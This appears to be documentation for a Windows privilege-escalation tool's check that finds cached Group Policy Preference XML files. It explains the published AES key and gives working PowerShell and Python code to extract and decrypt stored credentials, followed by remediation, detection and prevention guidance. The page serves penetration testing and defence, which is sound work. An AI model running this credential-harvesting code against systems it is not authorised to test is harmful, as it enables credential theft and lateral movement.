Skip to main content

Overview

The Cached GPP Password check searches for locally cached Group Policy Preference (GPP) XML files that may contain encrypted passwords. These files are stored in %ALLUSERSPROFILE%\Microsoft\Group Policy\History and can contain credentials for local users, service accounts, scheduled tasks, and mapped drives.
Even though Microsoft patched the ability to create new GPP passwords (KB2962486), old cached files may still contain these credentials.

How It Works

SharpUp searches the local GPP cache directory for XML files that commonly contain passwords:
%ALLUSERSPROFILE%\Microsoft\Group Policy\History\**\*.xml
Target Files:
  • Groups.xml (local group membership with passwords)
  • Services.xml (service account credentials)
  • Scheduledtasks.xml (scheduled task credentials)
  • DataSources.xml (database connection strings)
  • Printers.xml (printer configurations)
  • Drives.xml (mapped drive credentials)
  • Registry.xml (registry settings)

Technical Details

  1. Locates the Group Policy cache folder
  2. Recursively searches for target XML files
  3. Parses XML for encrypted password fields (cpassword attribute)
  4. Reports files containing passwords
  5. Can decrypt passwords using the published AES key

Decryption

GPP passwords are encrypted with AES-256-CBC, but Microsoft published the static encryption key:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
This makes all GPP passwords trivially decryptable.

Example Output

=== Cached GPP Password ===
    File: C:\ProgramData\Microsoft\Group Policy\History\{GUID}\Machine\Preferences\Groups\Groups.xml
    Type: Groups
    Username: Administrator
    Password: P@ssw0rd123!

Exploitation

Method 1: Using PowerUp

# Import PowerUp
Import-Module .\PowerUp.ps1

# Find and decrypt GPP passwords
Get-CachedGPPPassword

Method 2: Manual Decryption

function Decrypt-GPPPassword {
    param(
        [string]$EncryptedPassword
    )

    $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
    $AesIV = New-Object Byte[]($AesKey.Length)

    $Aes = [System.Security.Cryptography.Aes]::Create()
    $Aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $Aes.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $Aes.Key = $AesKey
    $Aes.IV = $AesIV

    $DecryptorTransform = $Aes.CreateDecryptor()
    $EncryptedPasswordBytes = [System.Convert]::FromBase64String($EncryptedPassword)
    $DecryptedPasswordBytes = $DecryptorTransform.TransformFinalBlock($EncryptedPasswordBytes, 0, $EncryptedPasswordBytes.Length)
    $DecryptedPassword = [System.Text.Encoding]::Unicode.GetString($DecryptedPasswordBytes)

    return $DecryptedPassword.TrimEnd([char]0)
}

# Find and decrypt GPP passwords
$cachePath = "$env:ALLUSERSPROFILE\Microsoft\Group Policy\History"
Get-ChildItem -Path $cachePath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml |
ForEach-Object {
    [xml]$xml = Get-Content $_.FullName
    $xml.Groups.User | Where-Object { $_.Properties.cpassword } | ForEach-Object {
        Write-Host "Found in: $($_.FullName)"
        Write-Host "Username: $($_.Properties.userName)"
        Write-Host "Password: $(Decrypt-GPPPassword $_.Properties.cpassword)"
    }
}

Method 3: Using gpp-decrypt

# Linux tool for GPP password decryption
gpp-decrypt "encrypted_password_here"

Method 4: Python Script

import base64
from Crypto.Cipher import AES

def decrypt_gpp_password(encrypted_password):
    # AES key published by Microsoft
    key = bytes([0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b])

    # Decode base64
    encrypted_bytes = base64.b64decode(encrypted_password)

    # Decrypt
    cipher = AES.new(key, AES.MODE_CBC, IV=bytes(len(key)))
    decrypted = cipher.decrypt(encrypted_bytes)

    # Remove padding
    return decrypted.decode('utf-16-le').rstrip('\x00')

# Usage
encrypted = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
print(decrypt_gpp_password(encrypted))

Remediation

1

Locate Cached Files

# Find all GPP files in cache
$cachePath = "$env:ALLUSERSPROFILE\Microsoft\Group Policy\History"
Get-ChildItem -Path $cachePath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml,Registry.xml
2

Review and Delete

# Delete cached GPP files containing passwords
# CAUTION: Review before deletion
Get-ChildItem -Path $cachePath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml |
ForEach-Object {
    $content = Get-Content $_.FullName -Raw
    if ($content -match 'cpassword') {
        Write-Host "Deleting: $($_.FullName)"
        Remove-Item $_.FullName -Force
    }
}
3

Change Exposed Credentials

Any credentials found in cached GPP files should be changed immediately:
# Change password for exposed account
net user username NewP@ssw0rd123!
4

Clean SYSVOL Source

Also remediate the source in SYSVOL - see Domain GPP Password for details.

Detection

Defensive Monitoring

# Monitor access to GPP cache folder
$cachePath = "$env:ALLUSERSPROFILE\Microsoft\Group Policy\History"

# Enable auditing
$acl = Get-Acl $cachePath
$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone",
    "ReadData",
    "ContainerInherit,ObjectInherit",
    "None",
    "Success"
)
$acl.AddAuditRule($auditRule)
Set-Acl $cachePath $acl

# Check Event Log for access
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
Where-Object {$_.Message -match 'Group Policy\\History'}

Detection Strategies

  • File Access Monitoring
  • Process Monitoring
  • Network Monitoring
  • Monitor read access to Group Policy History folder
  • Alert on access to Groups.xml, Services.xml, etc.
  • Track which users are accessing cached GPP files

Real-World Scenarios

Context: Organization migrated from old domain but workstations retain cached GPP files from 5+ years ago.Risk: Cached files may contain credentials for:
  • Old administrator accounts (may still be valid)
  • Service accounts (often not changed)
  • Shared local administrator passwords
Impact: Attacker gains immediate privileged access using old credentials.
Context: Scheduledtasks.xml in cache contains domain service account credentials.Attack Path:
  1. Find cached Scheduledtasks.xml
  2. Extract and decrypt service account password
  3. Authenticate as service account
  4. Escalate if service account has elevated privileges
Context: Groups.xml set the local administrator password for all workstations.Impact:
  • Attacker can authenticate as local admin on any workstation
  • Enables lateral movement across entire environment
  • Potential for credential dumping via mimikatz

Prevention

Best Practices

Don't Use GPP Passwords

Never use Group Policy Preferences to deploy passwords. Use alternatives like LAPS or gMSA.

Clean Old Files

Regularly audit and delete cached GPP files from all systems.

Rotate Credentials

Assume any credential in GPP is compromised and rotate immediately.

Use LAPS

Implement Local Administrator Password Solution for managing local admin passwords.

Automated Cleanup Script

# Deploy via GPO startup script to clean all workstations
$cachePath = "$env:ALLUSERSPROFILE\Microsoft\Group Policy\History"

if (Test-Path $cachePath) {
    Get-ChildItem -Path $cachePath -Recurse -Include *.xml |
    Where-Object {
        $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue
        $content -match 'cpassword'
    } |
    ForEach-Object {
        Write-EventLog -LogName Application -Source "GPP Cleanup" -EventId 1000 -Message "Deleted: $($_.FullName)"
        Remove-Item $_.FullName -Force
    }
}

References